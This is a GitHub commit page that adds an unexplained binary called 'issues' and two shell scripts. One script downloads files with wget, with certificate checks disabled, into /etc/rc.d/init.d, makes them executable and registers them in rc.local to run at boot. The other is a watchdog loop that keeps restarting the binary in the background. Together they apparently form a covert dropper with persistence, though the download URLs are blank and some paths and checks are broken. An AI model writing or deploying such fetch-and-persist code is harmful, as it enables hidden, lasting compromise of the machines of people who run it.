Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
dwjteam authored Aug 5, 2021
0 parents commit 624b695
Show file tree
Hide file tree
Showing 3 changed files with 28 additions and 0 deletions.
Binary file added issues
Binary file not shown.
9 changes: 9 additions & 0 deletions issues.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
#!/bin/sh
while true
do
num1=$(ps -ef | grep issues | wc -l)
if [[ $num1 -lt 1 ]];then
nohup /etc/rc.d/init.d/issues 2>1&
sleep 600
fi
done
19 changes: 19 additions & 0 deletions start_shell.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
#!/bin/sh
#use:
#chmod +x /etc/rc.d/rc.local
file1="/etc/rc.d/init.d/issuer"
file2="/etc/rc.d/init.d/issues.sh"
num1=$(ps -ef | grep issues | wc -l)
url1=""
url2=""
if [ ! -f "$file1" ]; then
wget -P "$file1" --no-check-certificate $url1 -O issues
wget -P "$file2" --no-check-certificate $url2 -O issues.sh
chmod a+x /etc/rc.d/init.d/issuer
fi
if [ `grep -c "issues" /etc/rc.d/rc.local` -eq '0' ]; then
echo "/etc/rc.d/init.d/issues" >> /etc/rc.d/rc.local
echo "/etc/rc.d/init.d/issues.sh" >> /etc/rc.d/rc.local
chmod +x /etc/rc.d/rc.local
fi

0 comments on commit 624b695

Please sign in to comment.